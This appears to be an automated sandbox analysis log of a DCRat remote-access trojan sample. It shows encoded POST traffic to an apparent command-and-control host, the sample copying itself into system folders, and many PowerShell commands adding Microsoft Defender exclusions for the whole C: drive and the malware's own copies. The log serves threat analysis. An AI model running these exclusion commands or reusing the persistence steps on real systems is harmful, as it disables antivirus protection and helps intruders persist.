Oct 24, 2024 06:08:17.334527016 CEST	951	IN	HTTP/1.1 522 Date: Thu, 24 Oct 2024 04:08:17 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ipbw%2FjK4SbDKq4gitrXDWm7M95sK8S59Kqn8pKzNrxLJnJTysLHtEhMVRZVR1yjFH7sS1z2S%2FQWyMJSYgEiO9suO3mynHzrzk%2FX4cau9LlY6f3UNGiIBzcErE0UOh30gmIYFpMxDyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d7719dfdcb546de-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1153&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=703&delivery_rate=1283687&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49869	188.114.97.3	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 06:08:25.595412970 CEST	342	OUT	POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 77777cm.nyashtyan.in Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Oct 24, 2024 06:08:25.955029964 CEST	344	OUT	Data Raw: 00 02 01 02 06 09 04 06 05 06 02 01 02 04 01 0b 00 0b 05 01 02 06 03 08 07 07 0f 53 06 01 06 01 0f 0e 07 00 01 06 04 06 0e 57 04 53 04 0b 04 05 04 56 0e 5e 0c 07 04 52 04 52 05 02 04 00 06 09 03 05 0c 0f 00 06 06 54 0f 05 0e 55 0a 0c 0f 08 05 57 Data Ascii: SWSV^RRTUW\L~Ak^fvrn_vvwR~\|ycRlMh]\|I{B{xNr\|C{QtYsZ~e~V@@z}P}\q
Oct 24, 2024 06:08:26.191006899 CEST	25	IN	HTTP/1.1 100 Continue
Oct 24, 2024 06:08:26.403038025 CEST	25	IN	HTTP/1.1 100 Continue
Oct 24, 2024 06:09:05.173964977 CEST	953	IN	HTTP/1.1 522 Date: Thu, 24 Oct 2024 04:09:05 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mGb0jXcvhI2oR5oToZ5mB9c4oJDR4vgDfCzw%2BRtSotkk9zruynTWNoswpWMW%2Fst%2BvhxZiKgOPiDHcF0yHdNsloUEbaeIr8W6umROOy8ZZ1UOX42oMT%2BmDOQBEywYHlCxtajhC3C4aQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d771b0b595f6c5e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1165&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=686&delivery_rate=1256944&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	50004	188.114.97.3	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 06:09:10.851279974 CEST	359	OUT	POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 77777cm.nyashtyan.in Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Oct 24, 2024 06:09:11.199549913 CEST	344	OUT	Data Raw: 05 06 04 06 06 09 04 07 05 06 02 01 02 06 01 05 00 0a 05 01 02 07 03 0c 03 00 0c 54 06 04 01 57 0d 0f 07 0d 00 07 05 01 0c 07 02 03 06 00 06 06 04 03 0f 09 0a 04 07 00 04 52 04 01 06 07 05 5b 03 05 0f 5b 00 07 05 02 0d 03 0f 01 0c 07 0e 55 05 54 Data Ascii: TWR[[UTU\L~NzvaiMu\`OBX\`RR~ppxlwHzsjkmwTtY`u~V@B{S\}La
Oct 24, 2024 06:09:11.446815968 CEST	25	IN	HTTP/1.1 100 Continue

Target ID:	0
Start time:	00:06:58
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\01YP9Lwum8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\01YP9Lwum8.exe"
Imagebase:	0xd40000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000000.1678955893.0000000000D42000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:07:01
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline"
Imagebase:	0x7ff60e0f0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:07:01
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:07:01
Start date:	24/10/2024
Path:	C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
Imagebase:	0x6d0000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:07:01
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4E71.tmp" "c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP"
Imagebase:	0x7ff62c7c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:07:01
Start date:	24/10/2024
Path:	C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe"
Imagebase:	0x9d0000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	00:07:02
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	00:07:03
Start date:	24/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	00:07:04
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	00:07:04
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\01YP9Lwum8.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\01YP9Lwum8.exe
Imagebase:	0xdc0000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	00:07:04
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	61
Start time:	00:07:04
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\01YP9Lwum8.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\01YP9Lwum8.exe
Imagebase:	0xd50000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	00:07:05
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat"
Imagebase:	0x7ff7d0420000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	00:07:05
Start date:	24/10/2024
Path:	C:\Windows\Tasks\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Tasks\explorer.exe
Imagebase:	0xf00000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\Tasks\explorer.exe, Author: Joe Security
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	00:07:05
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	00:07:05
Start date:	24/10/2024
Path:	C:\Windows\Tasks\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Tasks\explorer.exe
Imagebase:	0x760000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	00:07:07
Start date:	24/10/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff680050000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	00:07:10
Start date:	24/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff66d6e0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	00:07:15
Start date:	24/10/2024
Path:	C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe"
Imagebase:	0x670000
File size:	878'080 bytes
MD5 hash:	31C3F45B0054B2592DFBE98CC2B2AE6F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	00:07:22
Start date:	24/10/2024
Path:	C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe
Wow64 process (32bit):	false
